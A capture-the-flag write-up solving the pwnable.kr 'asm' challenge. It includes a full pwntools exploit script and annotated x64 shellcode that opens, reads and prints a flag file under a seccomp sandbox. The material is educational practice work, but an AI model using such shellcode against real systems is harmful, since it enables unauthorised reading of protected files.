1. Description
Do ssh asm@pwnable.kr -p2222 to play. Password is guest.
The challenge program is running on local port 9026.
asm@prowl:~user@computer$ ls
asm
asm.c
readme
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
In the home directory we have a copy of the challenge program asm, its source C code asm.c, a readme file, as well as a sample flag file with a very long filename.
asm@prowl:~user@computer$ ./asm
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play ‘asg’ challenge :)
give me your x64 shellcode:
Basically we are supposed to connect to the program and send it some x64 shellcode. The program will then execute the shellcode under its higher privilege, so hopefully by sending the proper shellcode we will be able to let the program leak the flag for us.
However, restricted by seccomp, we can only use open(), read(), write(), exit() and exit_group() syscalls in our shellcode:
...
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
...
Additionally, the program adds a “prefix” to our shellcode as well:
... char stub[] = “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; ...
Let’s first check out what does it mean:
peilin@PWN:~/pwnable.kr/asm$ rasm2 -b64 -d -B `printf “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff”`
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
xor rbp, rbp
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
Thankfully it is just zeroing out some registers.
2. Exploitation
This is my exp:
# exp.py
from pwn import *
context.update(arch="amd64", os="linux", bits=64)
# context.log_level = "DEBUG"
p = remote('127.0.0.1', 9026)
shellcode = asm("""
jmp filename
open:
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
read:
push rax
pop rdi
mov rdx, 0xff
sub rsp, rdx
mov rsi, rsp
xor rax, rax
syscall
write:
mov rdx, rax
mov rdi, 1
mov rsi, rsp
xor rax, rax
inc rax
syscall
exit:
xor rdi, rdi
mov rax, 0x3c
syscall
filename:
call open
.ascii "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
.byte 0
""")
p.recvuntil("give me your x64 shellcode: ")
p.send(shellcode)
p.interactive()
I will now comment the shellcode part and explain it a little bit.
3. Shellcode Explained
jmp filename
open:
; 0x02
; open(const char *pathname, int flags, mode_t mode)
pop rdi ; pathname = &"./this_is_pwnable.kr_flag_file..."
xor rsi, rsi ; flags = 0
xor rdx, rdx ; mode = 0
mov rax, 2
syscall
; return fd of flag file in rax
read:
; 0x00
; read(int fd, void *buf, size_t count);
push rax
pop rdi ; fd = whatever open() returned
mov rdx, 0xff ; count = 0xff
sub rsp, rdx ; make room for the buffer
mov rsi, rsp ; buf = top of the stack
xor rax, rax
syscall
; return number of bytes read in rax
write:
; 0x01
; write(int fd, const void *buf, size_t count);
mov rdx, rax ; count = whatever read() returned
mov rdi, 1 ; fd = 1 (stdout, so that we can see the flag)
mov rsi, rsp ; buf = top of the stack
xor rax, rax
inc rax
syscall
exit:
; 0x3c
; exit(int error_code);
xor rdi, rdi ; error_code = 0
mov rax, 0x3c
syscall
filename:
call open
.ascii "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
.byte 0
I reference https://syscalls.w3challs.com/?arch=x86_64 for syscall information.
Few more things to notice: First, the (very long) file name needs to be a NULL-terminated string, but since the program is receiving our shellcode using read(), we have to put the string at the end of our shellcode, otherwise read() will stop reading when it reaches NULL and cut our shellcode in half.
So how can we put a pointer of that string in rdi, then? We call the open label right before the string, so that the call instruction automatically pushes the address of its next “instruction”, in this case, the filename string, onto stack. After we jump to the open label, we immediately pop the address into rdi, and that’s it! I learned this smart trick from this good post by Cong Wang.
Another things to keep in mind is that the return values are stored in rax.
So basically that’s it! A good chance to learn and practice how to write shellcode.